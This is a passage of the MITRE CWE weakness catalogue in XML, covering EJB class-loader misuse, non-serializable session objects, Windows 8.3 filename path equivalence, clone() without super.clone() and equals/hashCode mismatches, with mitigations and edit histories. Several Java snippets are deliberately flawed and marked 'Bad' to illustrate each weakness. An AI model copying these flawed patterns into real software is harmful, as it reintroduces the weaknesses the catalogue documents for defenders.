               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="578" Name="EJB Bad Practices: Use of Class Loader" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.</Description>
         <Extended_Description>The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Do not use the Class Loader when writing EJBs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class InterestRateBean implements InterestRateRemote {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>private Document interestRateXMLDocument = null;<xhtml:br/>
                           <xhtml:br/>public InterestRateBean() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// get XML document from the local filesystem as an input stream</xhtml:i>
                                       <xhtml:br/>
                                       <xhtml:br/>
                                       <xhtml:i>// using the ClassLoader for this class</xhtml:i>
                                       <xhtml:br/>ClassLoader loader = this.getClass().getClassLoader();<xhtml:br/>InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);</xhtml:div>
                                 </xhtml:div>
                              </xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();<xhtml:div style="margin-left:1em;">DocumentBuilder db = dbf.newDocumentBuilder();<xhtml:br/>interestRateXMLDocument = db.parse(interestRateFile);</xhtml:div>} catch (IOException ex) {...}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>public BigDecimal getInterestRate(Integer points) {<xhtml:div style="margin-left:1em;">return getInterestRateFromXML(points);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* member function to retrieve interest rate from XML document on the local file system */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>private BigDecimal getInterestRateFromXML(Integer points) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Stateless<xhtml:br/>public class LoaderSessionBean implements LoaderSessionRemote {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>public LoaderSessionBean() {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">ClassLoader loader = new CustomClassLoader();<xhtml:br/>Class c = loader.loadClass("someClass");<xhtml:br/>Object obj = c.newInstance();<xhtml:br/>/* perform some task that uses the new class instance member variables or functions */<xhtml:br/>...</xhtml:div>} catch (Exception ex) {...}</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public class CustomClassLoader extends ClassLoader {<xhtml:br/>
                           <xhtml:br/>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="579" Name="J2EE Bad Practices: Non-serializable Object Stored in Session" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.</Description>
         <Extended_Description>A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In order for session replication to work, the values the product stores as attributes in the session must implement the Serializable interface.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class DataGlob {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String globName;<xhtml:br/>String globValue;<xhtml:br/>
                           <xhtml:br/>public void addToSession(HttpSession session) {<xhtml:div style="margin-left:1em;">session.setAttribute("glob", this);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="58" Name="Path Equivalence: Windows 8.3 Filename" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename.</Description>
         <Extended_Description>On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-0012</Reference>
               <Description>Multiple web servers allow restriction bypass using 8.3 names instead of long names</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0012</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0795</Reference>
               <Description>Source code disclosure using 8.3 file name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0795</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0471</Reference>
               <Description>Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0471</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Windows 8.3 Filename</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;DOS 8.3 Filenames&#34;, Page 673"/>
         </References>
         <Notes>
            <Note Type="Research Gap">Probably under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Windows 8.3 Filename</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="580" Name="clone() Method Without super.clone()" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product contains a clone() method that does not call super.clone() to obtain the new object.</Description>
         <Extended_Description>All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Call super.clone() within your clone() method, when obtaining a new object.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In some cases, you can eliminate the clone method altogether and use copy constructors.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class Kibitzer {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public Object clone() throws CloneNotSupportedException {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>Object returnMe = new Kibitzer();<xhtml:br/>...</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public class FancyKibitzer extends Kibitzer{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public Object clone() throws CloneNotSupportedException {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>Object returnMe = super.clone();<xhtml:br/>...</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Erroneous Clone Method</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="581" Name="Object Model Violation: Just One of Equals and Hashcode Defined" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not maintain equal hashcodes for equal objects.</Description>
         <Extended_Description>Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
